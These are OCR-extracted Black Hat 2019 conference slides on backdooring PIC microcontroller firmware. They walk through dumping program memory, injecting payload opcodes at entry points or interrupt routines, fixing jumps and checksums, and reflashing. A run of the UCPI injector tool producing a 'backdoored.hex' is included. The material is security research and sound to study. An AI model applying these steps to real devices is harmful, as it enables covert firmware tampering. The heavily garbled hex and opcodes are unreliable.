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A little bi

- Developer in ASM (Microcor s x86/x64), C/C++, Python and Go.

- Speaker at Black Hat (x2), DEF CON (x2), Ekoparty (x4), HITB, PhDays, IEEE... & more.
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@M Other provider

Many Android Devices Had a Pre-Installed Backdoor,

Google Reveals

The list of affected devices includes Leagoo M5 Plus, Leagoo M8, Nomu 510, and Nomu 520.
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MICROPROCESSOR

......... out AU
Registers, etc

* Modified-Harvard memory c
« 32 or 64 bits (most common).

MEMORY
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MICROCONTROLLER

INTERNAL OSCILLATOR

* Harvard Y
TR (mOSII. S PERIPHERALS O b
« A little stack. usses
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HOMIZ - 22 CAMERA

Arduino UNO

ARM Microprocessor Atmega Microcontroller
@
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GPO/CIN+/ICSPDAT = MCLR/ VPP/RE3 RB7/KBI3/PGD
GP1/CIN-ICSPCLK - REO/ANO RBE/KBIZ2/PGC

GP2/ TOCKIVINT/ COUT - 7 RRL/ANL RBE5/KBI1l/PGM
GP3'MCLR/'VPP s . — RAZ/ANZ/VREF- RE4/KBIO/ANS
GP4TIG OSC2/CLKOUT A X | RA3/AN3/VREF+ RBE3/CRNRX
GP5 TICKI'OSCI/CLKIN <£i5 . A 0CKI_ RBZ/INTZ/CRNTX
= , 3 DIN RBL1/INT1/RNE

REO/INTO/ANLO

VDD

> RAO/ANO £ RBO/INT

> RA1/AN1 RBI/RX/DT/SDAL

> RA2/AN2/VREF RB2/TX/CK/SDA2

A3/AN3 RB3/CCP1

» RA4/AN4'TOCKI RB4/ANS/SCL1

2 RAS/MCLR/VPP RBS/AN7/SCL2
RAG/OSC2/CLEOURB6/TIOSO/T1CELP1C/ANS

10 | RA7/OSCUCLKIN | RB7/ANG/T10SI
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. / C FILE HEX FILE

PROGRAMMER
ASM FILE COMPILER SOFTWARE

PROGRAMMER

ASSEMBLER HEX FILE HARDWARE
_ blackhat
/@UnaPlqueek USA 2019




K MICROCONTROLLERS PROGRAMMING_ J
1\ _

MAIN PROG CODE

START

CLRF FPOR ; Clear PORTD
MOVLW B'0

Gl i Build Main Project
MOVWF TRISD ; ALl is Output

Build for Debugging Main Project

BSF FORTD, 2 ; Turn on LED
GOTO % ; Loop forever

. MPLAB X IDE

ASM code to turning on a LED - (PIC)

BUILD SUCCESSFUL (total time: 313ms)
Loading code from IhnmEIEhEiIHF’LAB}I{F’mjr:::'ts..-"LEDl.}l{,.-"dis't..-’default,.-"pr'uductiun,.-"LEDl.}l{.pruduc‘tiu

Loading completed

.hex file (firmware) n
@UnaPibaGeek blackhat
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MPLAB X IPE v5.00

File Settinas View Tools Window Help

Optia =l Operate Power Settings *

Device and Tool Selection Results

Operate CP=0FF Checks. 77BD
Family: All Families =

9 Device: PIC18F45K20 - @
Power

Tool PICKIt3 S.No : BUR145221993 - Disconnect Fail Count: D
Memary

@ %ngram % Erase Q} Read @ WVerify @ Blank Check
L) L) L) L)

Environment

Hex File: Browse | Clear selec

EEH Output - IPE %

Jdefaultjproductior

e Currently loaded firmware on PICkit 3
Firmware Suite Version.....0l.52.02
Firmvare type. . ......... . .PICIEF
m Programmer to target power is enabled - VDD = 3,2560000 volts. B
. Target device PICLBF45K28 found.
Production Device ID Revision = lc

)& Device Erased...

Settings Programming. ..

The following memory areais) will be programmed:
program memory: start address = Ox0. end address = 0x7f
E configuration memory

Programming/Verify complete
2018-10-22 13:15:00 -0300 - Programming complete

Logout

Microchip (PIC) programmer software Microchip (PIC) programmer hardware

@UnaPibaGeek blackhat

USsA 2013



O
/ @UnaPibaGeek blg’ck hat
UsA 2019



DATA

PROGRAM DATA
FLASH/EEPROM
MEMORY MEMORY MEMORY
(RAM)

(ROM)

SFR

non-volatile volatile non-volatile
] blg'c’bk hat
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PROGRAM MEMORY DUMP [(STEP 1]_ /

Pin 1 Indicator
3 To PICKit3

Pin Description*

1 =VpP/MCLR

2 =\V/pp Target

3 = Vss (ground)

4 = |CSPDAT/PGD
5 = ICSPCLK/PGC
6 =LVP

40[ ] RB7ICSPDAT
39/ | RBB/ICSPCLK

DU W=

<t
]
~
-
L
=
=
]
-
Q
o

Connection from PIC microcontroller to PICKIT 3

O
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Select Tool

New Project

Steps Choose Project

_ ¥ Hardware Tools
;.. Choose Project Q Filter: @ Atmel-ICE
A 2 CD 3

Catedgories: Proiects: 22CD 4
ECTYETETTYE | © T 22 PICkit 4

B Other Fmhedded & Existina MPLAB IDE v8 Project T oo
P @ Camnles M BLIE 14 99

Prebuilt (Hex. Loadable Imaae) Proieg

= User Makefile Proiect

MPLAB X IDE v5.00 - basic : default

Select Device - Production Debug Team Tools Window Help

S CRa [ : = &
ult > W& P %' i' Wil G~ 4PC: 0xO| |novzdcc : W:0xO : bank O

Start Page X || main.asm X Read Device Memory Main Project

Farmilw: Recentlv Used

Read EE/Flash Data Memory to File...

Device: PIC18F45K20

Using MPLAB X IDE to read (and dump) the program memory
blackhat

USsA 2013
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MPLAB X IDE v5.00 - DUMP1 : default Program Memory
. o . . '{'P_ Line |Address | Opcode ||Label | DisAssy
File Edit View Navigate Source Refactor Production eru_s Tea? Tools -ﬂelp = f T = ETTITHE
5 & 4 default =] - B P Xplained ic c : W:0x0 : bank 0 & 2 Joooz  |Fooo NOP
K Projects Ctrl+1 & 3 |ooos 0000 NOP
| Files B | StartPage x| [ memory.hex % [ Files Ctrle2 4 0006 OEOE MOVLW OXE
~ & pump1 o * 5 |ooos 6E04 MOVWF Ox4, ACCESS
¥ [ Header Files Source | History - - | @ Classes Ctrl+9 O T 5 000A 0E48 MOVLW Oxd8
¥ B imnartant Files 1| :020008040008FA Favorites Ctrl+3 7 000C 6E07 MOVWE Ox7, ACCESS
2 1 14EFGGF EGE® .
3 :10001000096E0460092E0AEF0 ?ie“’"es crls T TV ET(Z?ACCESS
& ™ i Evecrerasehaban S 1o fooiz 19004 CLAVDT
» @ :'h":l“:lq & :1@@sznm_'_'_’_'_'_'_'_'_'_'_’_'_'_'_'_'_ @Navigator Ctrl+7 11 0014 2ED9 DECFSZ 0x9, F, ACCESS
aadanies 7 1@@@5(‘\00:—:—:—;—:—:—:—:—:—:—:—;—:—:—:—:—:— WAction ltems Ctrl+6 12 0016 EFOA GOTO 0x14
. EFEEFFEEFEEREEREE ) 13 |ools  |FOOO NOP
S 10007GOOFFFFFFFRFFFFRFRF o o 14_Joola ac07 DECFSZ 017, F, ACCESS
10 :100GEEEBFFFFFFFFFFFFFFFFE - 2Utput Cerlr4 15 joolc  |EFO7 GOTO OxE
11 :10809Ge0FFFFFFFFFFFFFFFFF  Editor ctrl+0 16 |001E Fooo NoP
12 :1000ACEOFFFFFFFFFFFFFFFFE  Debugging > 17 0020  |2E04 DECFSZ Oxd, F, ACCESS
13 :1000BEGOFFFFFFFFFFFFFFFFE |\, » 18 (0022 EFOS GOTO OxA
14 :1006CEAOFFFFFFFFFFFFFFFFF 19 |0024 Fooo NOP
15 :1806DCOOFFFFFFFFFFFFFFFFF 2 20 0026 0C00 RETLW 0x0
15 :10EGERAOFFFFFFFFFFFFFFFFF » 21 0028 GAB3 CLRF PORTD, ACCESS
17 :1806FCOOFFFFFFFFFFFFFFFFF ——cmrrrar = T 22 |o024  [OEOO MOVLW 0x0
R 2B e 18 :10010000FFFFFFFFFFFFFFFFF Configure Window » 9 23 00z2C GES5 MOWWF TRISD, ACCESS
19 :10011C00FFFFFFFFFFFFFFFFF u & sFrs 24 [002E 8C83 BSF PORTD, 6, ACCESS
20 :1@B12000FFFFFFFFFFFFFFFFF  Reset Windows & configuration Bits 25 |o030 ECO3 CALL Ox6, 0
21 :10013000FFFFFFFFFFFFFFFFF  Close Window bW 26 |0032 F00O0 NOP
22 :10014000FFFFFFFFFFFFFFFFF (oo al Documents  CtrltMays W o oo 0034 |oce3 BCF PORTD, 6. ACCESS
23 :10015000FFFFFFFFFFFFFFFFF - & User ID Memory
24 :10016000FFFFFFFFFFFEFEFFE  Close Other Documents - .
25 :10017000FFFFFFFFFFFFFFFFF  Document Groups ’ R Progam - EEEEEENEERY Code L
26 :1001800CFFFFFFFFFFFFFFFFF  Documents... Maytis-+F4
27 :18019000FFFFFFFFFFFRFFFFFFFFH-FHEFF-F-or & [Eoutput O call Stack | Program Memory

Load the .hex file in the MPLAB X IDE

4]
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MAT f"-J_F:' ROG CODE Program Memaory

Line | Address Opcode |Label |DisAssy
0000 EFO3 GOTO Ox6E

CLRF . Clear PORTD Q] ooz oo | Nop
MOVLW ( elelele :
MOVWF TRISD ;o ALL is Output

START

BSF PORTD, 2
GOTO %

END

ASM source code

Start Page X [ memory.hex X

Source = History & -
1 |:020000040600FA

: 1000000003EFA0F0000CE36A000E 956E838407EF 3
:1000100000FOFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE

: 10002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFED
: 10003000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDO

OpCodes in the .hex dump bl&khat'
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#INCLUDE FILES

PIC CONFIG DIRECTIVES

PROGRAM CONSTANTS

RAM VARIABLES

RESET VECTOR 0x0000; GOTO START I adress

INTERRUPT VECTOR 0x0008 018 memory addresses

[ INTERRUPT ROUTINE #1 ]

[ INTERRUPT ROUTINE #2 ]

s

ogram entry point

PROGRAM MAIN CODE

@UnaPibaGeek b|g-2:k hat
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RES VECT CODE Ox0000 Line |Address |Opcode | Label |DisAssy
GOTO  START
2 0002 FOOO NOP
; TODO ADD INTERRUATS HERE IF USED 3 0004 0000 MNOP ¥
4 0006 |6A83 CLRF PORTD, ACCESS Entry point
MAIN_PROG CODE 5 0008 0EOD MOVLW Ox0
6 000A 6ESS MOVWF TRISD, ACCESS
7 000C 8483 BSF PORTD, 2, ACCESS .
8 loooE EFo- GOTO OxE Simple program example
_______ 9 0010 FOOO NOP

TRISD

Line |Address Opcode Label |Disfssy

L 0000 EFC2 GOTO Ox/F84

2 0002 FO3F NOP — Large program example
3 0004 FFFF NOP

PORTD, 2

Example 1 -- Entry point: 0x06 «<—— Memory address to inject

Example 2 -- Entry point: 0x7F84 <—— Memory address to inject

4]
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Opcode |Label DisAssy

0ooo0 MOP

Q9295 BCF TRI=D, 1, ACCESS
8283 BSF PORTD, 1, ACCESS
9495 BCF TRI=D, 2, ACCESS
8483 BSF PORTD, 2, ACCESS
Qooo MOP

Little Endian: 0x9592 0x8382 0x9594 0x8384
(2]
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!

Frogram Memaory 1 (EZ20000040000FA

5 Line |(Address |(Cpeode |[Labal |[DisAssy 2 :1000000014EFAOFEA0RAAEAEAAGE4SAEATEESROHAS §

B 3 :10001A0CGS6ERA4R0R92EAAEFFRFRATZEATEFARFAZA | PR

ey 2 0002 FOOO MOP 4 :1GB*BG4EEBSEFBGFBGBGE BEE9S6EB38CE3EQIF |
3 0004 0000 MOP 5 :100030ECRAFE839CA3ECAAFA16EFAAFAFFFFFFFREL (C)

lump)

:020000040000FA
:1000000014EFOOFO0O0CCOOEOEC46EABOED/EESOROEAL
:10001000096E0400092EQAEFOROFOO72ED7EFOROFOZA
:10002000042E05EFA0FA00009592838295948384PF
:10003000000ESS56EE38CO3ECONFOE39COSECOOFOEL

110004000 1 6EFBOFOFFFFFFFFFFFFFFFFFFFFFFFFCO
Payload injected at entry point (0x28)
. blgk hat
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5+ 6E = Ox634
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%y

:10002000042E05EFOOF0000CS5928382959483849F

Analyse

PRZ20000040000FA
P 1O0EECO014EFOOFEGE0OOENER4GE4B0EQTGEROOEAL
»10001000096E0400092ECAEFOOFOO72EQ7EFCOOFOZA
:10002000042E05EFGOF0000CE59283829594538452
»10003000000E956EE638CH3ECHOFA839CA3ECAMFECS
100040001 6EFOOFOFFFFFFFFFFFFFFFFFFFFFFFRCY
Calculated checksum: 5215

Payload injected and checksum fixed
/> @UnaPibaGeek blal_lcgg ggg

:10002000042E05EFOOF0000CI5928382959483848F

Address: 002015 = 321g
Byte count: 1015 = 1610
Record type: 0015 = Data
Checksum: 9F 5

L R R iy W L




K WRITE THE PROGRAM MEMORY _
\

':V Blank Check
Lonenn]

O

Hex File: J X /LED2.X/mo Browse | Clear selec...

SQTP File: = Browse

Output - 1IPE X

Connecting to MPLAB PICkit 3...

Currently loaded firmware on PICkit 3

Firmware Suite Version

Firmware type

Programmer to target power is enabled - VDD = 3,500000 volts.

Target device PICL8FASKZ0 found.

Device ID Revision =

2019-07-11 21:47:32 -0300 - Hex file loaded successfully.

Loading code from fhomesshei/MPLABXProjects/LEDZ, X/modified-firmware.hex. ..
2019-07-11 21:47:35 -0300 - Programming. ..

Device Erased...
Programming. . .

The following memory areals) will be programmed:

program memory: start address = 0x0Q, end address = Ox7fff
configuration memory

Programming/Verify complete

2019-07-11 21:47:48 -0300 - Programming complete

blgc’:k hat
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?

339 :1G1EGGGGGGG153685BCGBBFGG?GEEEBFEAECGGFGFE

340 :1015100045959FO00CEOE149BE00CCOHE1F25F00G124
341 :10152000498BOFO1F28FA00100OCAEA1AEA]6FSCAH
342 :10153000459B1348147B18AECOARGA4B1 /DECOAFO46
:1015400067B3A6EFOAFO47B303EFOBFO53B1FEEF20

L )

— IGNITION
KEY

DEMO TIME!
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RESET VECTOR 0x0000; GOTO START

INTERRUPT VECTOR 0x0008

POLLING: INTERRUPT 17

l INTERRUPT ROUTINE #1 ‘

POLLING: INTERRUPT 27

‘ INTERRUPT ROUTINE #2 ‘

RETFIE

PROGRAM MAIN CODE INTERRUPTION

@UnaPibaGeek b|g-2:k hat

UsA 2013



0032 8EF2 BSF INTCON, 7, ACCESS

—_—_— °
0034 acF2 BSF INTCON, 6, ACCESS Interruptions enabled

@UnaPibaGeek b|g?=k hat
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VAl

XXIF = Interrug

Registers PIET, PIE2 and PIE3 have interruption enabling bits
5 Registers PIR1, PIR2 and PIR3 have interruption flags bits
/> @UnaPibaGeek blal_lcglA( ggg _
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POLLING INSPECTION_

; T0ODO ADD INTERRUPTS HERE IF USED
INT VECT CODE

MOVWF
SWAPF
MOVWF

AxEEE8

tempw
STATUS ,w
temps

: POLLING:

— BTFSC
CALL
— BTFSC
CALL
— BTFSC
CALL
— BTFSC
CALL

SWAPF
MOVWF
MOVF

RETFIE

@UnaPibaGeek

PIR1,RCIF

RC

INTCON, TMROIF
™

PIRL,ADIF

AD

INTCON, INTGIF
In

temps,w
STATUS
tempw,w

EEF_-
ofos) |6E00 |  |MOWWF Ox0, ACCESS

000A  |38D8 | |SWAPF STATUS, W, ACCESS
m-
000E  |BASE |  [BTFSCPIRL, 5, ACCESS |
0010  |EC24 |  |cAlLOx4B.O
-
BTFSt INTCON, 2, ACCESS

-
ools FooO | NoP

0014  |BCSE | [BTFSC PIR1, 6, ACCESS
00lC  |EC2B |  |CALLOxS6,0 |
00l1E  FooO |  NoP
0020  |B2F2 |  |BTFSC INTCOM, 1, ACCESS
0022 |EC2F |  |CALLOxSE,O |
0024  FOOO | NP |
0026 (3801 |  [SWAPF Ox1, W, ACCESS
-
0024 |s000 | |MOVF Ox0, W, ACCESS

2 -
-

— Interrupt vector

— Polling

bl.'fl?:k hat
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O00E BASE ETFSC PIRL, 5, ACCESS
0ol10 ECZ24 CALL Ox48, O

REGISTER 9-4: PIR1: PERIPHERAL INTERRUPT REQUEST (FLAG) REGISTER 1

R/W-0 R/W-0 R-0 R-0 R/W-0 R/W-0 R/W-0 R/W-0

PSPIF( ADIF RCIF TXIF SSPIF CCP1IF TMR2IF TMR1IF
bit 7 bit 0

PIR1, 5 = PIR1, RCIF
/ @UnaPibaGeek blacS:IA(IE'lDaé




Address | Opcode DisAssy

0006 FFFF NOP

000ge GEDD MOWVWE OxD, ACCESS
000A 3808 SWAPF STATUS, W, ACCESS
0ooc GEDL MOWWE Oxl, ACCESS
Q00E BASE BTFSC PIR1, 5, ACCESS
0010 EC24 CALL Ox48, O

oolz FOOO MNOP

0014 B4F2 ETFSC INTCON, 2, ACCESS
00le EC27 CALL Ox4E, O

ools FOOO NOP

0ola ECSE BTFSC PIR1, & ACCESS
nolc ECZE CALL Ox5S6, D

0D01E FOOD MOP

0020 E2F2 BTFSC INTCOM, 1, ACCESS
opz22 EC2F CALL OxSE, O

0nz24 FOOO NOP

0026 3801 SWAPF Oxl, W, ACCESS
oozg GEDE MOVWE STATUS, ACCESS
0024 5000 MOWE Ox0, W, ACCESS
noz2c 0olo RETFIE O

00ZE GAS3 CLRF PORTD, ACCESS




000E BASE BTFSC PIR1, 5, ACCESS
0010 EC24 CALL Ox48, 0

0x48
interruption routine begins

1100000001 7EFOOFOOOOOFFFFEOCEDS38016ESEBABY
:1000100024ECO0FAFZEBA27ECOOFASEBCZBECOAOFADEG
:10002000F2B22FECOOF001 38D8gEOO501000836A55
11000 3000F26AF2BEF2EBCF2BAFZBESDBASDBCEHOOELZ
:IBBGQEEEBBBﬂEEEFBBFBQ SAB386000CF294D2

:1000500000008386000CSESCAOREE386000CF292E8

C1OAOEAAAAAAEEZBBAAACFFFFFFFFFFFFFFFFFFFFES
/ @UnaPibaGeek blaU(gIA( IE'loaq'g



MOVWF

(/@;) @UnaPibaGeek

MOP

MOWF RCREG, W, ACCESS
BSF TXSTA, 5, ACCESS
BCF TX5TA, 4, ACCESS
BSF RCSTA, 7, ACCESS
MOWWE TXREG, ACCESS
BCF PIR1, 5, ACCESS

W) to TXREG to be re-transmitted

OxAE50 OxAC8A O0xAC98 OxABSE OxADGE

blg’ek hat
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/!
;100000001 JEFOOFOO000FFFFOB6EDE3IE016ESEBABY

$1000100024ECOOFOF2B427ECOOFFOEBCZBECOOFEDEG
1 0002000F2B22FECOOFEO1 380D8AEA0501000836A55
1 0003000F26AF2BEF2ECFZE8A2E68008A5DECONOE]LZ
: 10004000956E838422EFO0FFAESOACBAACIBABBEF4
: 1000500CADEEPEIAS38600ACF294000A83860GACAD
: 1 00060009ESCOA0OE36600ACF25200008386000CAE

DEMO TIME! . nckh "
/ @UnaPibaGeek a|_|~5A EDa’IE




... CODE ...

0x02 CALL 0x10
0x04 NOP

0x06 BSF PORTD,2
RETFIE

BCF PIR1, ADIF

MOVLW 0x16

SUBLW 0x25

... CODE ...

Original program

@UnaPibaGeek

BTFSC STATUS,Z

Ox02

0x04

Ox06

... CODE ...

PAYLOAD CODE

PAYLOAD CODE

PAYLOAD CODE

CALL 0x10

NOP

BSF PORTD,2
RETFIE

BCF PIR1, ADIF

... CODE ...

Program after

payload injection

blg’ck hat
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INCF 0x82, F, BANKED : 100200001 9CO80FA822B67ECO4FO1ACOB0FO822BBA
CALL OX8CE, 0 : 100210066 7ECO4F6] BCOBOFE822B67ECA4FO1CCO7C
NOP : 1082200080F0822B67ECO4F01DCOBOFO822B67ECLD

MOWVFF Ox14, Ox80 :1002300004F01ECOBOFE822B67ECO4FA1IFCOBOFE3S

Jump to Ox8CE (memory address) / 2 = 0x0467 offset
O
/ @UnaPibaGeek bIaIIJ%IA(IE'loaé




: 100000001 7EFOOFO000OFFFFOO6EDS3801 6E9EBABT
:1000100024ECOOFOF2B42CECOOr OREBCEBECOBRGLC

- : 10002000F28234ECO0F0P138D86E00501000836A50
CALL 0x60 (EC3 :10003086F 26AF28EF 268CF28AF2889D8A9DBCORBEL2
: 10004000956E838422EF00FOAESOACBAACISABSEF4

:10005000ADEESESAB386000CF29400008386000CS0

Three CALL fixed after injection
. bIQ hat
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shei@smcle: ~/devs

Archivo Editar Ver Buscar Terminal Ayuda

shei@smcle:~/devs$ python3 ucpi.py -i /home/shei/dump®3.hex -p AE50ACBAAC9BABBEADGE -a 0x5CE
-0 /home/shei/backdoored.hex

UCPI - uC payload injector - v1.0
Made by Sheila A. Berta (@UnaPibaGeek)

Target device: Microchip
Input file: /home/shei/dump03.hex
Payload: AE50ACBAAC98ABSEADGE
Payload size: 10 bytes

Memory address to inject: @x5CE
Making payload injection...
Aligning file bytes...

Done!

Fixing CALL and GOTO jumps...

26 jumps fixed!

Making checksum recalculation...
Done!

New backdoored file: /home/shei/backdoored.hex

i@smcle:~/devss i O

S R

https://github.com/UnaPibaGeek/UCPI n

black :
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/O @UnaPibaGeek

Return Address Stack <20:0>

Top-of-Stack Registers

TOSU

N

TOSH TOSL

1Ah | | 34h |

J

S~ »To p-of-Stack

001A34h

000D58h

11111

11110

11101 Stack Pointer
STKPTR<4.0>

blgck hat
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Address | Opcode | Label DisAssy

oooC  |Bos3 BSF PORTD, 0, ACCESS
000E  |[|2aFcC INCF STKPTR, F, ACCESS
o010  |[joEco MOWLW Ox0
0012 |[|6EFF MOWWF TOSU, ACCESS
0014  |[joECO MOWLW Ox0
0016  ||6EFE MOWWF TOSH, ACCESS 000024
oolg  [joEz24 MOWLW 0x24
oo1a  |[|sEFD MOWWF TOS, ACCESS
kkkkkkk oolc  |[joo1z RETURN 0

Q01E EFO5 GOTO OxC

o022 Qooo MOP

RETURN @ 8CE3 BSF PORTD, 6, ACCESS
0078 EF13 GOTO Ox26

Jump to 0x000C72 Jump to 0x000024
; blgc’zk hat
/ @UnaPibaGeek LIS A 3019




ooaz ECO3 CALL OxE, O
0044 FOOO MNOP
RETLW 0x0

l

RETURN or RETLW

l 0040 8683 BSF PORTD, 3, ACCESS

0x003C
0x0028 = Ox

RET = 0x1200 ‘g!
DEMO TIME! O
/ @UnaPibaGeek blan‘_glA(Ia‘g;




blg,ck hat

UsSA 20139 |




5 |ooos 6E00D MOVWE Ox0, ACCESS
: CONFIGSL pios ime | lower s e
CONFIG CPO = ON g8  |ooOE BASE BTFSC PIR1, 5, ACCESS
CONFIG CP1 = ON i:n ggig Egsg E’;LPL 0x48, 0
CONFIG CPZ = 0ON 11 |0014  |B4F2 BTFSC INTCON, 2, ACCESS
CONFIG CP3 = ON 12 jools ecar CALL 04, 0
14 |o0lA  [BCOE BTFSC PIRL, 6, ACCESS

Program memory dump still works

@UnaPibaGeek

blg’ck hat

USsA 2013



noos 0000 MOP

. - 000A 0000 NOP
| 5 | =

_ONFIGEH 000C 0000 NOP
CONFIG CPB = OM 000E 0ooo NOP

CONFIG CPD = ON

)
(/@;) @UnaPibaGeek blal_glA( 'E‘.g;

D00 =] | TR




O
/ @UnaPibaGeek blg‘ck hat
UsA 2019



O
/ @UnaPibaGeek blg‘ck hat
UsA 2019



bli'fl?:k hat

USA 2013




